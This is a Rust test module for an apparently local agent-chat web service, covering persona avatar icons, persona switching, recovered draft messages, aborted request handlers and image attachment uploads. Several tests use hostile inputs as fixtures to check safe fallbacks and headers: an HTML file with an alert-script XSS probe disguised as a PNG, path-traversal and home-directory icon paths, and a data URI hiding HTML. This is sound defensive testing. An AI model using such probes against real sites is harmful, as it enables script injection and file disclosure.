9632            assert_eq!(ct, "image/svg+xml", "{p}");
9633            assert!(nosniff && csp, "{p}");
9634            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
9635        }
9636        // No `persona` means the conversation's own; unknown ones fall back.
9637        let own = avatar(&ui, &id, None, false).await;
9638        let default = avatar(&ui, &id, Some("default"), false).await;
9639        assert_eq!(own.4, default.4);
9640        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
9641        assert_eq!(unknown.1, "image/svg+xml");
9642    }
9643
9644    #[tokio::test]
9645    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
9646        let dir = TempDir::new().expect("icons");
9647        let good = dir.path().join("good.png");
9648        std::fs::write(&good, tiny_png()).unwrap();
9649        let spoof = dir.path().join("spoof.png");
9650        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
9651        let big = dir.path().join("big.png");
9652        let mut bytes = tiny_png();
9653        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
9654        std::fs::write(&big, bytes).unwrap();
9655        let missing = dir.path().join("missing.png");
9656        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
9657        let extra = format!(
9658            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
9659             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
9660             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
9661             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
9662             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
9663             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
9664            uri(&good),
9665            uri(&spoof),
9666            uri(&big),
9667            uri(&missing),
9668        );
9669        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
9670
9671        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
9672        assert_eq!(
9673            (status, ct.as_str(), nosniff),
9674            (StatusCode::OK, "image/png", true)
9675        );
9676        assert_eq!(body, tiny_png());
9677        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
9678        assert_eq!(ct, "image/png", "data URI");
9679
9680        for p in ["misato", "asuka", "shinji", "magi"] {
9681            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
9682            assert_eq!(
9683                (status, ct.as_str(), csp),
9684                (StatusCode::OK, "image/svg+xml", true),
9685                "{p}"
9686            );
9687            assert!(body.starts_with(b"<svg"), "{p}");
9688        }
9689        // The page's own retry skips the icon.
9690        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
9691        assert_eq!(ct, "image/svg+xml");
9692    }
9693
9694    #[tokio::test]
9695    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
9696        let oversized = format!(
9697            "data:image/png;base64,{}",
9698            "A".repeat(persona_icon::ICON_MAX_BYTES)
9699        );
9700        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
9701            let extra = format!(
9702                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
9703            );
9704            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
9705            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9706                .await
9707                .expect("detail with invalid icon");
9708            assert!(detail.personas.iter().any(|p| p.id == "custom"));
9709            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
9710            assert_eq!(status, StatusCode::OK);
9711            assert_eq!(ct, "image/svg+xml");
9712            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
9713            let Json(view) = talk_persona(
9714                State(Arc::clone(&ui)),
9715                Path(id.clone()),
9716                Json(TalkPersona {
9717                    persona: "custom".into(),
9718                }),
9719            )
9720            .await
9721            .expect("persona switch with invalid icon");
9722            assert_eq!(view.talk.persona, "custom");
9723            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
9724        }
9725    }
9726
9727    #[tokio::test]
9728    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
9729        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
9730        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
9731        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
9732        assert_eq!(
9733            (status, ct.as_str(), nosniff, csp),
9734            (StatusCode::OK, "image/svg+xml", true, true)
9735        );
9736    }
9737
9738    #[tokio::test]
9739    async fn the_talk_view_carries_server_built_avatar_urls_only() {
9740        let (_t, _h, ui, id, _repo) =
9741            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
9742        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9743            .await
9744            .expect("detail");
9745        let json = serde_json::to_string(&detail).unwrap();
9746        assert!(
9747            !json.contains("secret"),
9748            "the icon setting must not leak: {json}"
9749        );
9750        assert!(
9751            detail
9752                .view
9753                .persona_avatar
9754                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
9755        );
9756        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
9757        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
9758        assert!(rei.avatar.contains("persona=rei&v="));
9759        assert_ne!(
9760            rei.avatar.split("&v=").nth(1),
9761            plain.avatar.split("&v=").nth(1)
9762        );
9763    }
9764
9765    #[tokio::test]
9766    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9767        let tmp = TempDir::new().expect("tempdir");
9768        let repo = tmp.path().join("repo");
9769        std::fs::create_dir_all(&repo).expect("repo dir");
9770        std::fs::write(
9771            repo.join("magi.toml"),
9772            format!(
9773                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9774            ),
9775        )
9776        .expect("write magi.toml");
9777        let home = TempDir::new().expect("temp home");
9778        let talks = Talks::at(home.path().join("talks"));
9779        let ui = Arc::new(
9780            Ui::new(
9781                Queue::at(home.path().join("queue")),
9782                Questions::at(home.path().join("questions")),
9783                talks.clone(),
9784                home.path().join("runs"),
9785                home.path().to_path_buf(),
9786                repo.clone(),
9787            )
9788            .with_worktrees_root(home.path().join("wt")),
9789        );
9790        let cfg = config_for(&repo).await.expect("discover config");
9791        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9792        let id = talk.id.clone();
9793        let call = |persona: &str| {
9794            talk_persona(
9795                State(Arc::clone(&ui)),
9796                Path(id.clone()),
9797                Json(TalkPersona {
9798                    persona: persona.to_owned(),
9799                }),
9800            )
9801        };
9802
9803        let unknown = call("nobody").await.expect_err("unknown persona");
9804        assert_eq!(
9805            unknown.status,
9806            StatusCode::BAD_REQUEST,
9807            "{}",
9808            unknown.message
9809        );
9810
9811        {
9812            // Nothing refused so far took a claim, so the guard is free to take
9813            // and holding it is what makes the talk busy.
9814            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9815            let busy = call("rei").await.expect_err("busy talk");
9816            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9817            assert!(
9818                busy.message.contains("a talk turn is running"),
9819                "{}",
9820                busy.message
9821            );
9822            drop(guard);
9823        }
9824        assert_eq!(talks.get(&id).expect("reload").persona, "");
9825
9826        let Json(view) = call("gendo").await.expect("switch to a configured persona");
9827        assert_eq!(view.talk.persona, "gendo");
9828        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9829
9830        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9831            .await
9832            .expect("detail");
9833        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9834        assert_eq!(ids.first(), Some(&"default"));
9835        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9836
9837        let Json(view) = call("default").await.expect("back to default");
9838        assert_eq!(view.talk.persona, "");
9839
9840        let mut closed = talks.get(&id).expect("reload");
9841        talk::close(&mut closed, &talks).expect("close");
9842        let refused = call("rei").await.expect_err("closed talk");
9843        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9844        assert!(
9845            refused.message.contains("takes no more turns"),
9846            "{}",
9847            refused.message
9848        );
9849    }
9850
9851    #[tokio::test]
9852    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9853        let f = Fixture::start().await;
9854        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9855        let queue = f.queue();
9856        let mut mine = Task::new(
9857            "rename the loader".to_owned(),
9858            "rename the loader".to_owned(),
9859            PathBuf::from("/repo/magi"),
9860            Source::Agent {
9861                run: talk_id.clone(),
9862                node: "chat".to_owned(),
9863            },
9864        );
9865        queue.put(&mut mine).expect("file the task");
9866        let mut theirs = Task::new(
9867            "unrelated".to_owned(),
9868            "unrelated".to_owned(),
9869            PathBuf::from("/repo/magi"),
9870            Source::Human,
9871        );
9872        queue.put(&mut theirs).expect("file the task");
9873
9874        let res = f.get(&format!("/api/talks/{talk_id}")).await;
9875        assert_eq!(res.status, 200, "{}", res.body);
9876        let body = res.json();
9877        assert_eq!(
9878            body["status"], "open",
9879            "filing a task does not close a talk"
9880        );
9881        let tasks = body["tasks"].as_array().expect("tasks array");
9882        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9883        assert_eq!(tasks[0]["id"], mine.id);
9884    }
9885
9886    #[tokio::test]
9887    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9888        let (_tmp, _repo, f) = talk_fixture().await;
9889        let id = f.post("/api/talks", None).await.json()["id"]
9890            .as_str()
9891            .expect("id")
9892            .to_owned();
9893
9894        let res = f
9895            .post(
9896                &format!("/api/talks/{id}/say"),
9897                Some(r#"{"text":"what does the queue module do?"}"#),
9898            )
9899            .await;
9900        assert_eq!(res.status, 202, "{}", res.body);
9901        let queued = res.json();
9902        let turns = queued["turns"].as_array().expect("turns array");
9903        assert_eq!(
9904            turns.len(),
9905            1,
9906            "the answer reflects only what is on disk the instant it is sent, \
9907             before the agent's turn - which can run for the whole of \
9908             `[graph] timeout_talk` - has a chance to land: {queued}"
9909        );
9910        assert_eq!(turns[0]["who"], "operator");
9911        assert_eq!(turns[0]["body"], "what does the queue module do?");
9912        assert_eq!(
9913            queued["thinking"], true,
9914            "the accepted response exposes the background turn claim: {queued}"
9915        );
9916
9917        let mut turns_after = 1;
9918        for _ in 0..SETTLE_STEPS {
9919            let detail = f.get(&format!("/api/talks/{id}")).await.json();
9920            turns_after = detail["turns"].as_array().expect("turns array").len();
9921            if turns_after == 2 {
9922                break;
9923            }
9924            tokio::time::sleep(Duration::from_millis(10)).await;
9925        }
9926        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9927    }
9928
9929    /// A phone that reloads mid-request drops `talk_say`'s whole handler
9930    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
9931    /// guards against: `talk::record` used to return, and only *then* did the
9932    /// handler make a second, separate disk round trip before spawning the
9933    /// agent's reply task. A future dropped in that gap left a message
9934    /// recorded on disk with no reply task ever started and no way back short
9935    /// of a fresh message - and the gap was not even the whole story: *any*
9936    /// `.await` in this handler, including the very first one, is a point
9937    /// where a drop can land after the awaited work already finished but
9938    /// before this handler's own code resumes to act on it. `record` now
9939    /// runs inside the task `tokio::spawn` hands to the runtime before this
9940    /// handler ever awaits anything of its own again, so there is nothing
9941    /// left in *this* handler's future for a disconnect to interrupt between
9942    /// the message landing on disk and the reply task starting.
9943    ///
9944    /// A real socket disconnect cannot be relied on to land in the old gap
9945    /// from a test - over loopback, `talk_say` typically finishes before the
9946    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
9947    /// same failure mode directly: it drops the task's future at whatever
9948    /// point it has reached, exactly what axum does to the handler future,
9949    /// without needing to win a real network race. Sweeping the delay before
9950    /// aborting samples a range of points the task's execution can be at,
9951    /// including where the old code sat waiting on its second disk round
9952    /// trip - confirmed by reverting this fix locally and watching this same
9953    /// sweep catch a talk stuck with the operator's turn recorded and no
9954    /// reply ever following.
9955    #[tokio::test]
9956    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9957        let tmp = TempDir::new().expect("tempdir");
9958        let repo = tmp.path().join("repo");
9959        std::fs::create_dir_all(&repo).expect("repo dir");
9960        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9961        let home = TempDir::new().expect("temp home");
9962        let talks = Talks::at(home.path().join("talks"));
9963        let ui = Arc::new(
9964            Ui::new(
9965                Queue::at(home.path().join("queue")),
9966                Questions::at(home.path().join("questions")),
9967                talks.clone(),
9968                home.path().join("runs"),
9969                home.path().to_path_buf(),
9970                repo.clone(),
9971            )
9972            .with_worktrees_root(home.path().join("wt")),
9973        );
9974        let cfg = config_for(&repo).await.expect("discover config");
9975
9976        for delay in 0..40u32 {
9977            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9978            let id = talk.id.clone();
9979
9980            let handler = tokio::spawn(talk_say(
9981                State(Arc::clone(&ui)),
9982                Path(id.clone()),
9983                Ok(Json(NewTalkTurn {
9984                    text: "what does the queue module do?".to_owned(),
9985                    attachments: Vec::new(),
9986                })),
9987            ));
9988            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9989            handler.abort();
9990            // Wait out the abort so the next iteration's talk does not race
9991            // this one's still-unwinding turn guard.
9992            let _ = handler.await;
9993
9994            let mut turns = 0;
9995            for _ in 0..SETTLE_STEPS {
9996                if let Ok(fresh) = talks.get(&id) {
9997                    turns = fresh.turns.len();
9998                    if turns != 1 {
9999                        break;
10000                    }
10001                }
10002                tokio::time::sleep(Duration::from_millis(10)).await;
10003            }
10004            assert_ne!(
10005                turns, 1,
10006                "delay {delay}: talk {id} recorded the operator's turn but \
10007                 the agent never answered - the reply task was never \
10008                 started after the handler future was dropped"
10009            );
10010        }
10011    }
10012
10013    /// The same drop, landing on `talk_say`'s other durable write.
10014    ///
10015    /// When a turn is already running, the busy branch persists the
10016    /// operator's text as a queued draft and then reclaims the turn slot if
10017    /// the holder gave it up in the meantime - and whoever reclaims owes that
10018    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
10019    /// which finishes whether or not the future awaiting it is still there,
10020    /// so a handler dropped at that `.await` used to leave the draft written
10021    /// to disk with the reclaimed guard dropped unread and no drainer ever
10022    /// started: the message sat queued until some unrelated later `say`
10023    /// happened to pick it up.
10024    ///
10025    /// This used to drive the handler future by hand, polling it a fixed
10026    /// number of times to park it at the `.await` where it asks for the turn
10027    /// and finds it busy, before the reclaim's slot-free case could be set up
10028    /// underneath it. That assumed a fixed number of polls lands at a fixed
10029    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
10030    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
10031    /// poll, so any number of this handler's several `blocking` awaits can
10032    /// collapse into one poll under load, landing the drive somewhere other
10033    /// than intended - including, occasionally, straight past the handler's
10034    /// own completion, which made polling it again panic with "async fn
10035    /// resumed after completion". No poll count fixes that; the handler's
10036    /// progress simply is not something a caller outside it can observe by
10037    /// counting.
10038    ///
10039    /// [`BusyQueueGate`] replaces the poll count with a real stop point
10040    /// inside the write itself, so the interleaving under test is pinned by
10041    /// an event instead of a guess: the gate fires only once the handler has
10042    /// actually decided `Busy` and is about to persist the draft, and it
10043    /// blocks that write until the test lets it through. Between those two
10044    /// moments the test drains the turn the handler found busy - through
10045    /// `drain_loop`, the protocol's other half - and then aborts the handler
10046    /// task outright, the same way axum drops a disconnected request's
10047    /// future. The write, and the reclaim it may do, run to completion
10048    /// regardless: they live in the `tokio::spawn` task the busy branch hands
10049    /// to the runtime before ever touching the gate, wholly independent of
10050    /// whether the handler that started it is still around - which is what
10051    /// this test is actually checking. A drainer other than that reclaim
10052    /// cannot exist here: the test's own `drain_loop` call happens before the
10053    /// gate opens, so it runs while the queue is still empty and hands the
10054    /// turn straight back rather than draining anything, closing off the
10055    /// possibility of the final assertion passing without the reclaim ever
10056    /// having done its job.
10057    #[tokio::test]
10058    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10059        let tmp = TempDir::new().expect("tempdir");
10060        let repo = tmp.path().join("repo");
10061        std::fs::create_dir_all(&repo).expect("repo dir");
10062        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10063        let home = TempDir::new().expect("temp home");
10064        let talks = Talks::at(home.path().join("talks"));
10065        let ui = Arc::new(
10066            Ui::new(
10067                Queue::at(home.path().join("queue")),
10068                Questions::at(home.path().join("questions")),
10069                talks.clone(),
10070                home.path().join("runs"),
10071                home.path().to_path_buf(),
10072                repo.clone(),
10073            )
10074            .with_worktrees_root(home.path().join("wt")),
10075        );
10076        let cfg = config_for(&repo).await.expect("discover config");
10077
10078        for attempt in 0..3u32 {
10079            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10080            let id = talk.id.clone();
10081            // A turn is already running, which is what sends `talk_say` down
10082            // the busy branch.
10083            let turn_guard = ui
10084                .begin_talk_turn(&id)
10085                .expect("claim the turn")
10086                .expect("a fresh talk owes nobody a turn");
10087
10088            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10089            let (release_tx, release_rx) = std::sync::mpsc::channel();
10090            ui.set_busy_queue_gate(BusyQueueGate {
10091                reached: reached_tx,
10092                release: release_rx,
10093            });
10094
10095            let handler = tokio::spawn(talk_say(
10096                State(Arc::clone(&ui)),
10097                Path(id.clone()),
10098                Ok(Json(NewTalkTurn {
10099                    text: "what does the queue module do?".to_owned(),
10100                    attachments: Vec::new(),
10101                })),
10102            ));
10103
10104            // Wait for the busy branch to actually reach the gate, rather
10105            // than for any fixed number of polls of anything - a bounded
10106            // wait rather than a bare `.await` so a regression that never
10107            // reaches the gate fails the test instead of hanging it.
10108            tokio::time::timeout(Duration::from_secs(5), reached_rx)
10109                .await
10110                .unwrap_or_else(|_| {
10111                    panic!(
10112                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10113                    )
10114                })
10115                .expect("the busy branch dropped the gate without using it");
10116
10117            // The turn that was running now finishes and gives the slot up
10118            // the way a real one does - through `drain_loop`, which finds
10119            // nothing queued yet (the write is still held at the gate) and
10120            // releases. The handler, parked inside `spawn_blocking` on the
10121            // other side of the gate, still believes the talk is busy -
10122            // exactly the interleaving the reclaim exists for.
10123            let running = talks.get(&id).expect("reload talk");
10124            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10125
10126            // Drop the handler future now, the way a reloading phone drops
10127            // it: suspended waiting on the busy branch's answer, having
10128            // itself made no more progress since it handed the write off.
10129            handler.abort();
10130            let _ = handler.await;
10131
10132            // Only now let the gated write proceed. It persists the draft
10133            // and reclaims the now-free slot from inside the task the busy
10134            // branch already spawned - unaffected by the handler's abort
10135            // above, since that task was independent of the handler's own
10136            // future from the moment it was spawned.
10137            let _ = release_tx.send(());
10138
10139            // A settled talk: the draft drained into an operator turn and
10140            // answered.
10141            let mut fresh = talks.get(&id).expect("reload talk");
10142            for _ in 0..SETTLE_STEPS {
10143                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10144                    break;
10145                }
10146                tokio::time::sleep(Duration::from_millis(10)).await;
10147                fresh = talks.get(&id).expect("reload talk");
10148            }
10149            assert!(
10150                fresh.pending.is_empty() && fresh.turns.len() == 2,
10151                "attempt {attempt}: talk {id} left the operator's text queued \
10152                 with no drainer - the reclaimed turn was dropped along with \
10153                 the handler future (pending {:?}, {} turns)",
10154                fresh.pending,
10155                fresh.turns.len()
10156            );
10157        }
10158    }
10159
10160    #[tokio::test]
10161    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
10162        let (_tmp, _repo, f) = talk_fixture().await;
10163        let id = f.post("/api/talks", None).await.json()["id"]
10164            .as_str()
10165            .expect("id")
10166            .to_owned();
10167        let store = f.talks();
10168        let mut recovered = store.get(&id).expect("opened talk");
10169        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10170            .expect("persist pending draft without a live turn");
10171
10172        let edited = f
10173            .post(
10174                &format!("/api/talks/{id}/pending/edit"),
10175                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
10176            )
10177            .await;
10178        assert_eq!(edited.status, 200, "{}", edited.body);
10179        assert!(edited.json()["thinking"].as_bool().unwrap());
10180
10181        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
10182        for _ in 0..SETTLE_STEPS {
10183            if detail["turns"].as_array().expect("turns").len() == 2 {
10184                break;
10185            }
10186            tokio::time::sleep(Duration::from_millis(10)).await;
10187            detail = f.get(&format!("/api/talks/{id}")).await.json();
10188        }
10189        let turns = detail["turns"].as_array().expect("turns");
10190        assert_eq!(
10191            turns.len(),
10192            2,
10193            "the recovered draft must run once: {detail}"
10194        );
10195        assert_eq!(turns[0]["body"], "corrected");
10196        assert_eq!(detail["pending"], "");
10197    }
10198
10199    #[tokio::test]
10200    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
10201        let tmp = TempDir::new().expect("tempdir");
10202        let repo = tmp.path().join("repo");
10203        std::fs::create_dir_all(&repo).expect("repo dir");
10204        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10205        let f = Fixture::with_repo(repo).await;
10206        let id = f.post("/api/talks", None).await.json()["id"]
10207            .as_str()
10208            .expect("id")
10209            .to_owned();
10210        let store = f.talks();
10211        let mut recovered = store.get(&id).expect("opened talk");
10212        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10213            .expect("persist pending draft without a live turn");
10214
10215        let refused = f
10216            .post(
10217                &format!("/api/talks/{id}/say"),
10218                Some(r#"{"text":"new message"}"#),
10219            )
10220            .await;
10221        assert_eq!(refused.status, 409, "{}", refused.body);
10222        assert!(refused.body.contains("resume"), "{}", refused.body);
10223        let saved = store.get(&id).expect("draft remains after refusal");
10224        assert!(saved.turns.is_empty());
10225        assert_eq!(saved.pending, "saved before restart");
10226
10227        let say_path = format!("/api/talks/{id}/say");
10228        let (first, second) = tokio::join!(
10229            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
10230            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
10231        );
10232        assert_eq!(first.status, 409, "{}", first.body);
10233        assert_eq!(second.status, 409, "{}", second.body);
10234        let saved = store
10235            .get(&id)
10236            .expect("draft remains after concurrent refusals");
10237        assert!(saved.turns.is_empty());
10238        assert_eq!(saved.pending, "saved before restart");
10239
10240        let resumed = f
10241            .post(&format!("/api/talks/{id}/pending/resume"), None)
10242            .await;
10243        assert_eq!(resumed.status, 202, "{}", resumed.body);
10244        let duplicate = f
10245            .post(&format!("/api/talks/{id}/pending/resume"), None)
10246            .await;
10247        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
10248
10249        for _ in 0..SETTLE_STEPS {
10250            if store.get(&id).expect("talk").turns.len() == 2 {
10251                break;
10252            }
10253            tokio::time::sleep(Duration::from_millis(10)).await;
10254        }
10255        let finished = store.get(&id).expect("finished talk");
10256        assert_eq!(finished.turns.len(), 2, "{finished:?}");
10257        assert_eq!(finished.turns[0].body, "saved before restart");
10258        assert!(finished.pending.is_empty());
10259    }
10260
10261    #[tokio::test]
10262    async fn an_image_only_recovered_draft_resumes_without_text() {
10263        let (_tmp, _repo, f) = talk_fixture().await;
10264        let id = f.post("/api/talks", None).await.json()["id"]
10265            .as_str()
10266            .expect("id")
10267            .to_owned();
10268        let uploaded = f
10269            .post_bytes(
10270                &format!("/api/talks/{id}/attachments"),
10271                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
10272                PNG_BYTES,
10273            )
10274            .await;
10275        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10276        let attachment = f
10277            .talks()
10278            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
10279            .expect("attachment metadata")
10280            .expect("stored attachment");
10281        let store = f.talks();
10282        let mut recovered = store.get(&id).expect("opened talk");
10283        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
10284
10285        let resumed = f
10286            .post(&format!("/api/talks/{id}/pending/resume"), None)
10287            .await;
10288        assert_eq!(resumed.status, 202, "{}", resumed.body);
10289        for _ in 0..SETTLE_STEPS {
10290            if store.get(&id).expect("talk").turns.len() == 2 {
10291                break;
10292            }
10293            tokio::time::sleep(Duration::from_millis(10)).await;
10294        }
10295        let finished = store.get(&id).expect("finished talk");
10296        assert_eq!(finished.turns.len(), 2, "{finished:?}");
10297        assert!(finished.turns[0].body.is_empty());
10298        assert_eq!(finished.turns[0].attachments.len(), 1);
10299        assert!(finished.pending_attachments.is_empty());
10300    }
10301
10302    #[tokio::test]
10303    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
10304        let (_tmp, _repo, f) = talk_fixture().await;
10305        let id = f.post("/api/talks", None).await.json()["id"]
10306            .as_str()
10307            .expect("id")
10308            .to_owned();
10309        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10310        assert_eq!(closed.status, 200, "{}", closed.body);
10311        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10312            .expect("serialize closed talk");
10313        for (path, body) in [
10314            (format!("/api/talks/{id}/pending/resume"), None),
10315            (
10316                format!("/api/talks/{id}/pending/clear"),
10317                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
10318            ),
10319            (
10320                format!("/api/talks/{id}/pending/edit"),
10321                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
10322            ),
10323            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
10324        ] {
10325            let response = f.post(&path, body).await;
10326            assert_eq!(response.status, 409, "{}", response.body);
10327        }
10328        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10329            .expect("serialize closed talk");
10330        assert_eq!(
10331            after_clear, before_clear,
10332            "clear must not rewrite a closed talk"
10333        );
10334    }
10335
10336    /// Keeps both claims observable long enough to exercise the distinction
10337    /// between one busy talk and a globally locked Chat surface.
10338    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
10339
10340    #[tokio::test]
10341    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
10342        let tmp = TempDir::new().expect("tempdir");
10343        let repo = tmp.path().join("repo");
10344        std::fs::create_dir_all(&repo).expect("repo dir");
10345        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10346        let f = Fixture::with_repo(repo).await;
10347        let id_a = f.post("/api/talks", None).await.json()["id"]
10348            .as_str()
10349            .unwrap()
10350            .to_owned();
10351        let id_b = f.post("/api/talks", None).await.json()["id"]
10352            .as_str()
10353            .unwrap()
10354            .to_owned();
10355
10356        let a = f
10357            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
10358            .await;
10359        assert_eq!(a.status, 202, "{}", a.body);
10360        assert_eq!(a.json()["thinking"], true);
10361        let b = f
10362            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
10363            .await;
10364        assert_eq!(b.status, 202, "{}", b.body);
10365        assert_eq!(b.json()["thinking"], true);
10366
10367        let listed = f.get("/api/talks").await.json();
10368        for id in [&id_a, &id_b] {
10369            let view = listed
10370                .as_array()
10371                .unwrap()
10372                .iter()
10373                .find(|talk| talk["id"] == *id)
10374                .unwrap();
10375            assert_eq!(view["thinking"], true, "{listed}");
10376        }
10377        let repeated = f
10378            .post(
10379                &format!("/api/talks/{id_a}/say"),
10380                Some(r#"{"text":"again"}"#),
10381            )
10382            .await;
10383        assert_eq!(repeated.status, 202, "{}", repeated.body);
10384        assert_eq!(repeated.json()["pending"], "again");
10385    }
10386
10387    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
10388    /// few more, since real uploads are never exactly eight bytes.
10389    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
10390
10391    #[tokio::test]
10392    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
10393        let f = Fixture::start().await;
10394        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
10395
10396        let res = f
10397            .post_bytes(
10398                &format!("/api/talks/{id}/attachments"),
10399                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10400                PNG_BYTES,
10401            )
10402            .await;
10403        assert_eq!(res.status, 201, "{}", res.body);
10404        let body = res.json();
10405        assert_eq!(body["name"], "shot.png");
10406        assert_eq!(body["mime"], "image/png");
10407        assert_eq!(body["bytes"], PNG_BYTES.len());
10408        let att_id = body["id"].as_str().expect("id").to_owned();
10409        assert_eq!(
10410            att_id.len(),
10411            32,
10412            "the id must never be a client-suppliable path: {att_id}"
10413        );
10414
10415        let got = f
10416            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
10417            .await;
10418        assert_eq!(got.status, 200, "{}", got.body);
10419        assert_eq!(got.header("content-type"), Some("image/png"));
10420        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
10421        assert_eq!(got.bytes, PNG_BYTES);
10422    }
10423
10424    #[tokio::test]
10425    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
10426        let f = Fixture::start().await;
10427        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
10428
10429        // SVG can carry a `<script>`, so it is never on the whitelist even
10430        // though it is a real IANA image type.
10431        let svg = f
10432            .post_bytes(
